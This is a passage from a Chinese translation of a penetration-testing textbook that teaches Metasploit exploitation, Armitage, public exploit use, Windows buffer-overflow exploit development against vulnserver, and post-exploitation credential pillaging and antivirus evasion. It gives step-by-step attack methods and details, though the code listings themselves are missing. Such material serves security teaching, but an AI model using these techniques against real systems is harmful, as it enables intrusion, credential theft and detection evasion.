图10-1　Metasploit框架的体系结构和组成

10.1.1　库

Metasploit框架是使用各种函数、库，以及像Ruby这样的编程语言构建的。要实现这些函数，首先，渗透测试人员必须了解这些函数是什么，如何触发它们，哪些参数应该传递给函数，以及期望的结果是什么。

所有的库都在/usr/share/Metasploit-framework/lib/文件夹中列出，如图10-2所示：

图10-2　所有库的列表

1.REX

REX是一个包含在Metasploit中的库，最初是由Jackob Hanmack开发的，后来成为Rapid7开发团队的正式产品。这个库提供了可用于漏洞利用开发的各种类。在现在的Metasploit框架中，REX处理所有核心功能，如套接口连接、原始函数和其他的重新格式化。

2.框架核心

这个库位于/usr/share/metasploit-framework/lib/msf/core中，它为所有要编写的新模块提供基本的应用程序编程接口（Application Programming Interface，API）。

3.框架基础

这个库为会话、shell、Meterpreter、VNC提供合适的API，以及其他默认的API，但它依赖于框架核心。

作为Metasploit框架一部分的其他扩展部分，还包括定制的插件、协议工具、安全工具、Web服务和其他可以被利用的集成服务。

10.1.2　接口

MSF曾有多个接口，如CLI、Web接口等。在最新版本（社区版和专业版）中，所有这些接口都被Rapid7开发团队抛弃了。我们将在本章中探索控制台接口和GUI（Armitage）界面。控制台接口是最快的，因为它提供了攻击命令，并且在一个易于理解的界面提供了所需的配置参数。

要访问该界面，需要在命令提示符中输入msfconsole，图10-3显示了该应用程序启动时的界面。

图10-3　MSF启动界面

10.1.3　模块

MSF框架由多个模块组成，这些模块组合起来可以影响一个漏洞利用。各个模块及其具体的功能如下：

·利用：针对特定漏洞的代码片段。主动利用会针对某个特定的目标进行持续性利用，直到完成任务，然后退出（例如，缓冲区溢出）。被动利用是指等待进入主机，如Web浏览器或FTP客户端，当它们连接时再进行利用。

·负载：这是在成功利用后立即执行的恶意代码。

·辅助模块：这些模块不会在测试者和目标系统之间建立或直接支持访问。相反，它们执行如扫描、模糊或嗅探等相关功能以支持利用阶段。

·后期模块：成功攻击目标后，这些模块运行在受损目标上，收集有用的数据，支持攻击者深入目标网络。我们将在第11章继续学习后期模块利用。

·编码器：当利用必须绕过杀毒防御时，这些模块对负载进行编码，以使其不会被签名匹配技术检测到。

·无操作（NOP）：这些是在攻击时用来方便缓冲区溢出的。

这些模块一起使用，用于对目标进行侦察并发动攻击。使用MSF利用目标系统的大致步骤如下：

1.选择并配置一个漏洞利用（用于破解目标系统上特定漏洞的代码）。

2.检查目标系统，以确定它是否容易受到漏洞利用的攻击。此步骤是可选的，通常将其省略来减少被检测到的概率。

3.选择和配置负载（在利用成功后，该代码将在目标系统上执行。例如，从遭破解的系统到源的反向shell）。

4.选择一项编码技术，用其来绕过检测控制（ID/IP或杀毒软件）。

5.执行利用。

10.1.4　数据库设置和配置

设置新版本的Metasploit是相当简单的，因为从msf3版本开始，Metasploit不再作为一个服务运行。

1.通过在终端中运行systemctl start postgresql.service启动PostgreSQL。

2.通过运行msdb init来初始化Metasploit数据库。除非是第一次，否则初始化将创建msf数据库，同时创建一个角色，并在/usr/share/metasploit-framework/config/database.yml配置文件中添加msf_test和msf数据库。否则，默认情况下，msf数据库将在Kali Linux的预构建中创建，如图10-4所示。

图10-4　msf数据库初始化

3.现在准备访问msfconsole。

4.进入控制台后，你可以输入db_status来验证数据库的状态，应该能够看到以下内容：

5.在不同部门（或两家不同的公司）的多个目标的情况下，在Metasploit中创建一个工作区是很好的做法。这可以通过在msfconsole中运行workspace命令来完成。下面的摘录显示了帮助菜单，你可以在这里添加或删除工作区以组织这些利用来实现目标：

下面的例子呈现了对目标（基于Linux的操作系统）的简单的Unreal IRCD攻击。安装好虚拟机后（见第1章），你可以利用db_nmap命令扫描Metasploitable3，识别其开放的端口及对应的应用。db_nmap扫描结果如图10-5所示。

图10-5　db_nmap扫描结果

在前面的例子中，nmap识别了几个应用程序。可以使用db_import命令将分开使用nmap扫描的结果导入Metasploit。nmap通常会产生三种类型的输出：xml、nmap和gnmap。xml格式可以使用Nmap nokogiri解析器导入数据库。一旦将结果导入数据库，就可以在大型nmap数据集下使用多个选项，如图10-6所示。

图10-6　将xml格式数据导入

作为一名测试人员，我们应该逐一调查任何已知的漏洞。如图10-7所示，如果我们运行msfconsole中的services命令，就会出现主机及其相关服务信息。

图10-7　主机及其服务信息

第一步可以从Metasploit的利用收集开始，可以在命令行使用以下命令搜索：

结果返回了一个关于UnrealIRCd服务的特定利用。图10-8显示了一个可用的利用。如果测试人员选择利用其他列出的服务，可以在Metasploit搜索关键字。

图10-8　UnrealIRCd服务利用

因为exploit/unix/irc/unreal_ircd_3281_backdoor漏洞利用的排名靠前，所以剩下部分选择其作为例子。这个排名由Metasploit的开发团队确定，并注明了一个熟练的测试人员针对一个稳定的系统使用该利用时的可靠性。在现实生活中，许多不确定因素（测试人员的技能、网络中的保护装置、对操作系统和应用程序的修改）会对漏洞利用的可靠性产生显著影响。

有关漏洞利用的附加信息可以通过下面的命令获得：

返回的信息包括引用，以及如图10-9所示的信息。

为了对Metasploit进行演示，我们将通过该漏洞利用来攻击目标，命令如下：

Metasploit将命令提示符msf>变为msf exploit(unix/irc/unreal_ircd_3281_backdoor)>。

Metasploit提示测试人员选择负载（例如，从遭破解的系统到攻击者的反向shell），同时设置其他变量，如下所示：

·远程主机（Remote Host，RHOST）：被攻击的系统IP地址。

·远程端口（Remote Port，RPORT）：用于漏洞利用的端口号。在例子中，我们利用的服务在默认端口6667，但是本地相同的服务运行的端口是6697。

·本地主机（Local Host，LHOST）：用于发动攻击的系统IP地址。

图10-9　漏洞利用的附加信息

设置完所有参数变量后，在命令提示符下输入exploit命令发动攻击。Metasploit发起攻击，然后确认一个反向shell。在其他利用中，成功的利用由命令command shell 1opened启动，给出IP地址，完成反向shell。

要验证一个shell，测试人员可以针对主机名、用户名（uname-a）和whoami进行查询，并确定结果是否与远程目标系统相对应，参见图10-10。

图10-10　验证shell

此利用可以通过使用后利用模块来进一步开发。按下Ctrl+Z组合键，在后台运行Meterpreter，你会接收到Background session1?[y/N]y enter y。

当一个系统被破解到这种程度时，它已经为进行后期漏洞利用活动做好准备（参见第11章和第13章以确定如何升级权限以及保持对系统的访问）。

10.2　使用MSF利用目标

Metasploit框架针对第三方应用程序的漏洞攻击与对操作系统的漏洞攻击一样有效。我们将看两个场景的示例。

10.2.1　使用简单反向shell攻击单个目标

在这个例子中，我们将利用一个名为DoublePulsar的缓冲区溢出漏洞利用，它特别是针对那些有EternalBlue漏洞的系统，Wannacry勒索软件在2017年4月震撼了世界。该漏洞存在于以Windows方式实现的SMB版中，特别是在TCP端口445和端口139上的SMBv1和NBT，它以一种不安全的方式共享数据。在系统用户的环境下，利用的结果是导致任意的代码都可以执行。

要发起攻击，首先应打开msfconsole，并将Metasploit设置为use，如图10-11所示。

图10-11　打开msfconsole的截图

这个利用是相对简单的。它要求测试人员设置一个反向shell（reverse_tcp），从被破解的系统回到攻击者的系统，即本地主机LHOST。

当利用完成时，它会打开两个系统之间的Meterpreter反向shell。Meterpreter提示会话将被打开，测试人员可以使用命令shell有效地访问远程系统。破解后的第一步是验证你是否在目标系统上。正如你在图10-12中所看到的，sysinfo命令识别计算机名称和操作系统，验证成功的攻击。

图10-12　使用sysinfo验证成功的攻击

如图10-13所示，hashdump命令显示了所有用户名和密码的散列值。

图10-13　利用hashdump显示用户名和密码的散列值

进一步，为了存储这些信息以增强网络中的横向移动，测试人员可以利用msfconsole中的loot命令来保存这些信息。在单系统或多系统破解的情况下，Meterpreter中的loot命令会将所有密码的散列值和账号信息抽取到一个本地数据库中。

10.2.2　利用具有PowerShell攻击媒介的反向shell攻击单个目标

在本节中，我们将举一个类似的漏洞利用例子。在屏幕保护程序路径的处理中存在漏洞，可以使用任意路径作为屏幕保护程序的路径。这允许攻击者运行远程代码执行。如果受害者离开计算机，或者屏幕保护程序被设置为运行，也就是说，Windows试图定期访问屏幕保护程序，同样的漏洞利用每次都会运行。

我们将使用ms13_071_theme，最初只影响Windows XP和Windows 2003。不过，它仍然适用于Windows 7和Windows 2008。现在，让我们为Metasploit装备所有必需的信息，如payload、lhost和lport，这些信息已经填充并准备好利用，如图10-14所示。

图10-14　Metasploit装备信息

在这个漏洞利用中，我们将为ReverShell使用PowerShell攻击媒介，因此我们将使用windows/powershell_reverse_tcp负载。

下一步是让受害者通过SMB来打开链接。这意味着漏洞利用可能是网络钓鱼或其他社会工程学技术。一旦受害者打开链接，一些用户可能会收到如图10-15所示的警告。

图10-15　用户收到的警告信息

因此，对于渗透测试人员来说，建议签署.scr文件作为一个合法的内部用户。下一步在用户点击Run时进行，就是这样。这就用PowerShell为攻击者打开了一个ReverseShell，如图10-16所示，这允许攻击者在受害者系统上运行PowerShell命令，并将权限升级到域级。

图10-16　在受害者系统上运行PowerShell命令

10.3　使用MSF资源文件的多目标利用

MSF资源文件基本上是行分隔的文本文件，其中包括需要在msfconsole中执行的一系列命令。我们来创建一个可以在多个主机上利用相同漏洞的资源文件：

将文件保存为doublepulsar.rc，现在已经准备好通过运行msfconsole–r filename.rc来调用资源文件，-r指的是资源文件。前面的资源文件将按顺序利用相同的漏洞。一旦第一个漏洞利用完成，专门的exploit-j将把正在运行的漏洞利用转移到后台，允许下一个漏洞利用继续进行。一旦所有目标的利用都完成了，我们在Metasploit中就能看到多个Meterpreter shell。

如果该漏洞利用被设计为只在一个主机上运行，则不可能进入多个主机或IP范围。但是，另一种方法是在每个主机上使用不同的lport号码来运行相同的利用。我们将讨论更多关于已存在的MSF资源文件的问题，这些文件可以在第11章中逐步升级特权时使用。

10.4　使用Armitage的多目标利用

Armitage经常被渗透测试人员忽视，由于测试人员喜欢Metasploit控制台的传统命令行输入，而避开Armitage的图形用户界面。然而，Armitage在提供许多可视化选项的前提下，拥有Metasploit的功能，使其成为在复杂测试环境下的一个绝佳选择。与Metasploit不同，它允许你在同一时间测试多个目标，上限为512个。

启动Armitage，并确保已启动数据库和Metasploit服务，使用以下命令：

完成上一步之后，在命令提示符下输入armitage，并执行该命令。Armitage并不总能正常执行，它可能需要重复启动的步骤，以确保其正确运行。

为了发现可用的目标，你可以手动提供IP地址添加主机，或选择菜单按钮Hosts栏上的nmap扫描添加主机。Armitage还可以使用MSF辅助命令或DNS枚举来枚举目标。

Armitage可以从下列文件获得主机的数据：Acunetix、amap、AppScan、Burp proxy、Foundstone、Microsoft Baseline Security Analyzer、Nessus NBE和XML文件、NetSparker、NeXpose、Nmap、OpenVas、Qualys，以及Retina。

Armitage启动界面如图10-17所示。

图10-17　Armitage启动界面

Armitage允许通过右击选择一个主机，设置该主机的标签。这允许你使用一个共同的名字来标记某个特定的地址或确认主机，当使用基于团队的测试时，这是很有帮助的。然后选择一个主机（host）菜单，并且选择设置标签（set Label）功能，这个过程如图10-18所示。

图10-18　设置标签

Armitage还支持动态工作空间——网络的筛选视图，可以将网络标准、操作系统、开放的端口和服务、标签等作为筛选的条件。例如，你可以测试一个网络，并确定几个服务器，但是不出现该网络的其他剩余内容。给它们一个标签，让这些内容能够突出显示，然后将它们放置在一个优先级的工作空间中。

一旦在网络上确定了目标系统，就可以选择特定的模块作为漏洞利用过程的一部分来实现。你还可以使用菜单栏中的攻击（Attacks）选项来查找攻击方法。

要利用一个主机，右击并导航到攻击（Attacks）项，选择一个利用（确保设置正确的主机操作系统，这并不总是自动发生）。

一个有趣的选项是Hail Mary，位于攻击（Attacks）项下。通过选择这个功能，所有识别系统都会自动对漏洞目标进行利用，以达到可能破解目标的最大数量，如图10-19所示。

图10-19　选择Attacks后的截图

这是一个非常嘈杂的攻击，因此应该被用来作为测试选择的最后手段。这也是一种很好的方式，用来确定是否安装好入侵检测系统，并且配置正确！

被破解的系统显示为一个带电火花的红色边界图标。在图10-20中，两个测试系统已经被破解，在这些系统和测试人员之间有四个活动会话。活动会话（Active Sessions）面板表示这个连接，并确定了哪些漏洞利用被用于破解目标。图10-20展示了不同的选择。

图10-20　被攻击主机与测试者之间的活动会话

在渗透测试进行的过程中，Hail Mary选项确定了目标的两个可利用的漏洞，并且启动了两个活动会话。手动测试同一目标，最终确定了8个可利用的漏洞，在被破解的系统和测试人员之间建立了多条通信通道。真实世界这种类型的测试强化了这种类型的优点，并且强化了在渗透测试过程中使用自动化工具的弱点。

10.5　使用公开的漏洞利用

所有的攻击者都用自己的眼睛在最大范围内寻找公开的漏洞利用，并根据他们的要求对其进行修改。在2017年4月14日，最新的漏洞利用EternalBlue震撼了整个互联网世界，让人们意识到什么是勒索软件。不管怎样，在本节中，我们将深入探讨如何利用已知的漏洞利用论坛，以及如何将它们加入Kali Linux中。

10.5.1　定位和验证公开可用的漏洞利用

通常情况下，渗透测试人员在测试中发现了0-day漏洞利用会告知公司。然而，在真实情况下，发现的任何漏洞都将被利用，为了金钱/名誉而出售。渗透测试的一个重要方面是在互联网上找到公开可用的漏洞利用，并提供正确的概念证明。

互联网上诞生的最早的漏洞利用数据库是Milw0rm。使用相同的概念，我们可以看到多个相似的数据库，这些数据库可以被渗透测试社区使用。以下是攻击者寻找漏洞利用的常用地点列表：

·Exploit-DB（EDB）：名字说明它是一个互联网上的公开漏洞收集数据库，包括具有漏洞的软件版本。EDB是由漏洞研究人员和社区的渗透测试人员发展起来的。为使其在渗透测试或红队测试中更有价值，渗透测试人员经常使用Exploit-DB作为概念的证明，而不是咨询。

·作为版本的一部分，EDB嵌入到了Kali Linux 2.0中，它使得通过Searchsploit搜索所有可用的漏洞利用变得相当简单。EDB的优点是通用漏洞披露（Common Vulnerabilities Exposure，CVE）兼容，并且无论在哪里使用，这些漏洞利用都将包括CVE的详细信息。

·Searchsploit ftp Windows remote：Searchsploit是Kali Linux中的一个简单实用工具，可以通过关键词搜索找到来自EDB的所有利用，从而缩小攻击范围。打开终端并输入searchsploit后，你应该能够看到如图10-21所示的内容。

图10-21　使用searchsploit

·SecurityFocus：SecurityFocus是另一个信息源，其中所有公开披露的漏洞都与它们的通用漏洞披露一起发布。

·让我们导航到www.securityfocus.com并搜索所有的漏洞。现在，攻击者应该能够看到如图10-22所示的界面，它允许渗透测试人员找到所有产品的所有漏洞。

图10-22　在http://www.securityfocus.com/寻找漏洞

·在SecurityFocus中，所有报告的漏洞都以投标的形式存储。它包括的每个漏洞的主要部分如图10-23所示。

图10-23　漏洞信息

SecurityFocus中的各个部分解释如下：

·info：提供了漏洞和受影响平台的详细信息以及缺陷跟踪ID（bugtrack ID）。

·discussion：提供了关于报告漏洞的详细信息。

·exploit：如果有任何公开的利用代码，那么它就可以下载。

·solution：提供最新的服务包详细信息和热修复细节。

·reference：包括所有的讨论、缺陷跟踪参考和对报告漏洞的解决方案参考。

10.5.2　编译和使用漏洞

攻击者将收集所有相关漏洞，发布并编译它们，使它们成为利用目标的武器。在本节中，我们将深入研究不同类型的文件的编译，并添加Ruby所写的所有利用，将msfcore作为Metasploit模块的基础。

编译C文件

旧版的利用是用C语言编写的，尤其是缓冲区溢出攻击。让我们举一个从EDB编译C文件的例子，并对脆弱的Apache服务器进行利用。

攻击者可以利用GNU编译器集合将C文件编译成可执行文件，相关命令如下：

编译通过后，攻击者可以看到如图10-24所示的截图。

图10-24　使用GNU编译C文件

添加基于MSF编写的利用

根据漏洞利用的平台和类型，直接从浏览器在exploit-db.com或/usr/share/exploitdb/exploits/中复制利用文件或脚本。

在这个例子中，我们将使用/usr/share/exploitdb/platforms/windows/remote/16756.rb。将Ruby脚本作为一个自定义漏洞利用添加到Metasploit模块，如图10-25所示，将文件移动到./usr/share/metasploit-framework/modules/exploits/windows/http/，将文件命名为NewExploit.rb。

图10-25　复制文件

将文件移动到新位置后，必须重新启动msfconsole，以确保将文件加载到Metasploit可用的模块中。你可以用设置为Metasploit模块的一部分的自定义名称来搜索该模块，如图10-26所示。

图10-26　搜索自建模块

10.6　开发Windows利用

攻击者必须对汇编语言有一个准确的理解，以开发定制的利用。在本节中，我们将介绍一些基础知识，通过构建一个漏洞利用程序来开发Windows利用。

从开发的角度来看，以下是一份渗透测试人员在利用开发中必须理解的基本术语列表：

·寄存器（Register）：所有的进程都通过寄存器执行，它被用来存储信息。

·x86：这包括以英特尔为基础的32位系统，64位系统被表示为x64。

·汇编语言（Assembly language）：这包括一种低级的编程语言。

·缓冲区（Buffer）：这是一个程序中的静态内存持有器，它将数据存储在栈或堆的顶部。

·调试器（Debugger）：调试器是可以在执行时用来查看程序运行时的程序，也可以查看注册表和内存的状态。我们将使用的工具包括免疫调试器、GDB和ollydbg。

·Shell代码（ShellCode）：这是由攻击者在成功利用中创建的代码。

以下是不同类型的寄存器：

·EAX：这是一个32位的寄存器，它被用作一个累加器，存储数据和操作数。

·EBX：这是一个32位的基础寄存器，并充当数据的指针。

·ECX：这是一个用于循环的32位寄存器。

·EDX：这是一个32位的数据寄存器，存储输入/输出指针。

·ESI/EDI：这些是32位的索引寄存器，它充当所有内存操作的数据指针。

·EBP：这是一个32位的栈数据指针寄存器。

·扩展指令指针（Extended Instruction Pointer，EIP）：这是一个32位的程序计数器/指令指针，它保存下一个要执行的指令。

·扩展栈指针（Extended Stack Pointers，ESP）：这是一个32位的栈指针寄存器，它精确地指出栈指向的位置。

·SS、DS、ES、CS、FS和GS：这些是16位段寄存器。

·NOP：表示没有操作。

·JMP：表示跳转指令。

10.6.1　模糊识别漏洞

攻击者必须能够识别任何给定应用程序中正确的模糊参数，以找到漏洞并加以利用。在本节中，我们将举一个由Stephen Bradshaw创建的易受攻击的服务器的例子。

这个脆弱的软件可以从https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Third-Edition/blob/master/Chapter%2010/vulnserver.zip下载。

在本例中，我们将使用Windows 7作为受害者运行的一个易受攻击的服务器的系统。

一旦下载了应用程序，我们就解压缩文件并运行这个服务器。这需要打开TCP的9999端口，连接到远程客户端，当脆弱的服务器启动并运行时，你能够看到如图10-27所示的界面。

图10-27　有漏洞的服务器

攻击者可以连接到服务器的端口9999上，通过netcat来与服务器通信，如图10-28所示。

图10-28　与服务器通信

模糊技术是一种攻击者专门向目标发送错误的数据包，从而在应用程序中产生错误，或者造成一般的故障的技术。这些故障会在应用程序中造成bug，并找出如何通过运行自己的代码来实现远程访问，从而实现利用。现在应用程序是可访问的，设置也已经完成，攻击者可以开始使用模糊技术。

尽管有许多模糊工具可用，但是在Kali Linux2.0版本中，SPIKE是默认安装的。这是一个模糊工具包，可以通过提供脚本功能创建模糊工具，但它是用C语言编写的。有一组SPIKE编写的编译器可以使用：

SPIKE允许添加自己的脚本集，而不必用C编写几百行代码。

访问应用程序的攻击者可以在易受攻击服务器中看到多个可用的选项。这包括部分有效输入命令：STATS、RTIME、LTIME、SRUN、TRUN、GMON、GDOG、KSTET、GTER、HTER、LTER和KSTAN。我们将使用generic_send_tcp编译器来模糊应用程序，使用编译器的格式如下：./generic_send_tcp host port spike_script SKIPVAR SKIPSTR：

·host：这是目标主机或IP。

·port：这是要连接的端口号。

·spike_script：这是在解析器上运行的SPIKE脚本。

·SKIPVAR和SKIPSTR：这使测试人员能够进入SPIKE脚本模糊会话的中间位置。

让我们继续为readline创建一个简单的SPIKE脚本，运行SRUN，并分配一个字符串值作为参数：

在连接到IP/主机名之后，读取前面三行的第一行，然后运行SRUN并随机生成一个值。现在，让我们将这个文件保存为exploitfuzzer.spk。对目标运行SPIKE脚本，如图10-29所示。

图10-29　运行自己编写的脚本

模糊确认没有服务器崩溃或其他任何事情，因此，SRUN的参数并没有漏洞。现在，下一步是选择另一个。这次我们将选择TRUN作为要模糊的参数：

保存exploitfuzz.spk文件并执行相同的命令，如图10-30所示。

你现在应该能看到受害者计算机上的服务器崩溃了，Windows还提供了有用的信息，我们可以看到异常偏移41414141（转换为AAAA），如图10-31所示。

现在我们知道，脆弱的TRUN命令造成了崩溃，我们必须关注导致崩溃的原因。这可以通过运行Wireshark来完成，它将为我们提供导致服务器崩溃的确切请求。

图10-30　运行exploitfuzz.spk

图10-31　看到的Windows信息

1.用正确的以太网适配器运行Wireshark。

2.使用模糊处理器（generic_send_tcp target port exploitfuzz.spk 0 0）重复利用。

3.用过滤器tcp.port==9999过滤Wireshark。

4.右键单击该包并遵循TCP流。你应该能看到如图10-32所示的界面。

现在让我们继续编写一个简单的Python程序来击垮服务器。使用一个简单的套接字程序连接到IP，并使用10 000*Z的缓冲区来运行该命令，下面的代码提取提供了对应用程序漏洞进行模糊处理和调试的第一步。

图10-32　TCP流

将文件保存为crash.py，并在目标IP上运行它，你可以看到server dead，服务器最大缓冲为10 000，这意味着Z*10 000作为输入会使服务器崩溃，如图10-33所示。

图10-33　server dead

现在，下一步是确定到底有多少字符导致了服务器崩溃，以及可以使用的缓冲区大小。在服务器端，我们必须调试应用程序。为了进行调试，我们将从https://www.immunityinc.com/products/debugger/下载免疫调试器。这些调试器主要用于查找利用，分析恶意软件并逆向工程任何二进制文件。

关注易受攻击的服务器，加载vulnerableserver.exe到免疫调试器，然后运行该应用程序，如图10-34所示。

图10-34　运行vulnerableserver.exe

下一步是使用Metasploit框架，通过定位到usr/share/metasploit-framework/tools/exploit/文件夹，并且在终端运行./pattern_create-l4000创建一个模式，如图10-35所示。

图10-35　创建模式

你可以将生成的内容输出到一个文件中，也可以从终端中复制，或者通过添加其他变量来添加到Python程序中。这一次，我们将禁用缓冲区，并使用由利用工具创建的模式，其长度为4000，代码如下所示：

再一次针对目标运行crash.py，将导致服务器再次崩溃，并且所有的Z字符都被所创建的模式所取代。在脆弱的服务器上，我们能够看到来自免疫调试器的寄存器，它提供了存储在EIP中的下一条指令，如图10-36所示。

图10-36　在脆弱服务器上看到寄存器

现在，模糊处理结束了。接下来，我们将重点讨论如何创建Windows特定的漏洞利用。

10.6.2　制作Windows特定的利用

要创建Windows特定的利用，我们必须确定EIP的正确偏移量。这可以通过使用漏洞利用工具（如patter_offset）来提取，这些工具使用了EIP的输入，其长度与创建模式的长度相同：

这意味着在创建的模式中使用EIP找到了偏移匹配。现在我们知道，缓冲2002已经足以让服务器崩溃，我们可以开始溢出。

下一步是发现EIP寄存器存储的汇编JMP ESP的操作码。在免疫调试器中，查看可执行模块并选择essfunc.dll，如图10-37所示。

图10-37　查看可执行模块

右键单击并搜索命令，输入jmp esp。我们应该能够看到第一个JMP ESP寄存器的CPU线程。复制地址625011AF FFE4JMP ESP，如图10-38所示。

图10-38　CPU线程

625011AF是存放汇编操作码的位置。下一步是将地址转换为xAF\x11\x50\x62的shell代码。

使用msfvenom创建一个Windows有效负载，在终端上运行下面的命令，该命令将在攻击者的IP上提供一个Meterpreter反向shell：

最后，我们处于创建完整的利用的最后阶段，通过添加NOP，然后溢出缓冲区，并将shell代码写入运行脆弱服务器的系统。下面的代码是利用脆弱服务器的完整Python代码：

一旦利用完成，请确保监听器正在运行，如图10-39所示。

图10-39　监听器正在运行

现在一切都已经设置好了，攻击者可以使用Python编程来执行和制作Windows特定的漏洞利用。下一步是从终端运行crash.py，如以下代码所示：

成功的利用会用shell代码覆盖了缓冲区，然后作为一个反向shell给攻击者，如图10-40所示。

图10-40　攻击成功

10.7　小结

在这一章中，我们将重点关注了漏洞利用的基础，并介绍了将侦察发现转化为确定行为的不同工具，从而在测试人员和目标之间建立正确连接。

Kali提供了多个工具来促进开发、选择和利用激活，包括内部的Exploit-DB数据库，以及一些简化了这些利用的使用和管理的框架。我们深入了解了Metasploit框架，使用Armitage管理多个shell，我们还学习了如何将不同类型的Exploit-DB文件编译成真正的漏洞利用软件。

我们还关注了如何通过识别不同的模糊技术来开发Windows的漏洞利用。还学习了将shell代码加载到自定义的利用。

在第11章中，我们将学习攻击者杀链最重要的部分和后期利用、权限升级、内网漫游、破解域信任和端口转发。

第11章　操控目标与内网漫游

如果将渗透测试定义为利用一个系统，那么在利用后对目标进行操控就是测试人员的真正目的。这一步表明了漏洞利用的严重程度，以及它对组织的影响。本章将重点介绍直接的后利用活动，以及横向提权方面——使用所利用的系统作为起点，跳转到网络上的其他系统的过程。

在本章中，你将学习：

·本地提权。

·后利用工具。

·目标网络内的内网漫游。

·破坏域信任。

·支点攻击与端口转发。

11.1　破解的本地系统上的活动

通常，很有可能获得一个系统的guest或user访问权限。攻击者获得重要信息的能力，将受到降低的权限级别的限制。因此，一种常见的后利用行为是将访问权限从guest级别提升到user，再到administrator，最后到SYSTEM级别。这种提升访问权限的方式通常被称作垂直提权（vertical escalation）。

用户可以通过一些技术来获得高级访问凭证，包括以下几种方法：

·使用网络嗅探器、键盘记录器来捕获传送的用户凭证（dsniff可以用来从活动的传输或者Wireshark或tshark会话中保存的一个pcap文件来提取密码）。

·对本地存储的密码进行一个搜索。有些用户会将密码收集到一个电子邮件文件夹（经常被命名为passwords），由于密码重复使用，而且简单的密码系统是很常见的，所以找到那些密码，并在升级的过程中使用。

·NirSoft（www.nirsoft.net）开发了几款免费的工具，可以上传到入侵系统中，使用Meterpreter从操作系统和缓存密码的应用程序（邮件应用程序、远程访问软件、FTP和网络浏览器）中提取密码。

·使用Meterpreter来转储SAM和SYSKEY文件。

·当一些应用程序加载时，它们使用特定的顺序读取动态链接库（Dynamic Link Library，DLL）文件。创建一个与合法DLL同名的假DLL文件是可能的，把它放在一个特定的目录位置，让应用程序加载并执行它，最终实现攻击者的权限提升。

·应用一个使用缓冲区溢出的利用或其他手段来提升权限。

·通过Meterpreter执行getsystem脚本，自动地将管理员权限提升到系统级别。

11.1.1　对已入侵的系统进行快速侦察

一旦系统被入侵，攻击者需要获得有关该系统的关键信息，它的网络环境、用户和用户账号等信息。通常情况下，他们将在shell提示符下输入并调用一系列命令或脚本。

如果被入侵的系统是基于Unix平台的，典型的本地侦察命令见表11-1。

表11-1　Unix平台的本地侦察命令

这些命令包含了可用选项的简要说明。完整信息请参考相应命令的帮助文件，在那里可以了解如何使用它们。

对于Windows系统，命令形式如表11-2所示。

表11-2　Windows系统下的侦察命令

11.1.2　找到并提取敏感数据——掠夺目标

术语掠夺（pillaging，有时也称为pilfering）是黑客成功攻击计算机系统后的延续，这些黑客像海盗一样尽最大可能偷窃和毁坏目标。这个术语已经流传下来，特指当一个系统被攻占后，攻击者完成偷窃和修改个人财产以及财务数据的行为。

之后，攻击者聚焦在第二目标——系统文件，利用这些系统文件提供的信息来支持另外的攻击。第二目标的文件选择取决于目标的操作系统。举个例子来说，如果系统是Unix，那么攻击者就会把下列文件作为工作目标：

·系统和配置文件（通常在/etc目录下，但根据实现也可能在/usr/local/etc下，或者其他位置）。

·密码文件（/etc/password和/etc/shadow）。

·在.ssh目录中的配置文件和公钥与私钥。

·可能包含在.gnupg目录中的公钥和私钥环。

·电子邮件和数据文件。

在Windows系统中，攻击者会将以下文件作为攻击目标：

·可被用来提取密码、加密密钥等的系统内存。

·系统注册表文件。

·安全账号管理（Security Account Manager，SAM）数据库，包含密码的散列版本，或者SAM数据库的替代版，可以在%SYSTEMROOT%\repair\SAM与%SYSTEMROOT%\System32\config\RegBack\SAM中找到。

·任何用于加密的其他密码文件或者种子文件。

·电子邮件和数据文件。

别忘了检查包含临时项目的文件夹，如附件。举个例子，UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\可能包含让人感兴趣的文件、图片和cookies。

如上所述，这些系统内存包含了大量的攻击者可以利用的信息。因此，它通常是一个你需要优先获取的文件。系统内存可以从几个来源下载，下载文件是一个独立的镜像文件，这些来源如下：

·通过上传一个工具到被破解的系统然后直接复制内存（这些工具包括Belkasoft RAM capturer、Mandiant Memoryze和MonsolsDumpIt）。

·通过复制Windows休眠文件hiberfil.sys，然后利用Volatility来解密和分析文件。Volatility可以在Kali的Forensics菜单中找到，是一个分析内存的框架，内存可以转储自系统RAM，以及其他包含系统内存的文件。它依赖于用Python编写的插件来分析内存和提取数据，这些数据包括加密密钥、密码、注册表信息、进程以及其他相关信息。

·通过复制一个虚拟机，然后将VMEM文件转换为内存文件。

如果你上传一个旨在于被破解的系统中抓取内存的程序，有可能这个特定的应用会被杀毒软件识别为恶意软件。大多数的杀毒软件能识别散列签名和内存获取软件的行为，如果物理内存的敏感数据有被泄露的风险，它就会通过拉响警报来进行保护。获取软件将被隔离，目标会收到一个关于这个攻击的警报。

为了避免这种情况的发生，用Metasploit框架，使用以下命令来运行在目标内存中的可执行文件：

前面的命令将calc.exe作为一个虚拟的可执行文件执行，但是，实际上上传了内存获取可执行文件，并在它的进程空间中运行。

这个可执行文件并不显示在进程列表中，例如任务管理器（Task Manager），并且使用数据取证技术的检测更加困难，因为它并不写入硬盘。此外，它会避开系统的杀毒软件，因为它一般不去内存空间搜索恶意软件。

物理内存一旦被下载，就可以利用Volatility框架进行分析，Volatility框架是设计来取证分析内存的一系列Python脚本。如果操作系统支持，Volatility将会扫描内存文件并提取下列内容：

·镜像信息和系统数据，充分到可以将镜像与源系统联系在一起。

·运行进程、加载的DLL、线程、套接字、连接和模块。

·开放的网络套接字和连接，最近打开的网络连接。

·内存地址，包括物理的和虚拟的内存映射。

·LM/NTLM散列和LSA私钥。LanMan（LM）密码散列是微软保护密码的初衷。这么多年过去了，现在它已经很容易被攻击，而且很容易将这些散列恢复成实际的密码。NT LanMan（NTLM）是最新的抵抗攻击的散列。然而，它们通常和NTLM版本一起存储，以达到向后兼容的目的。本地安全权威（Local Security Authority，LSA）存储的密钥是本地的密码：远程访问（有线的和无线的）、VPN、自动登录口令等。任何存储在系统的密码都是脆弱的，特别是当用户重复使用密码时。

·存储在内存中的特定正则表达式或字符串。

创建附加账户

下面的命令是具有高度侵略性的，通常会被系统拥有者在应急响应进程中检测到。然而，它们会频繁地被一个攻击者植入，以此来转移对更持久的访问机制的注意，相关的命令参见表11-3。

表11-3　一些具有高度侵略性的命令

如果你创建一个新的用户账户，那么该账户会被任何一个登录被攻击系统的欢迎界面的用户注意到。为了使这个账户不可见，你需要在命令行用下面的REG命令修改注册表：

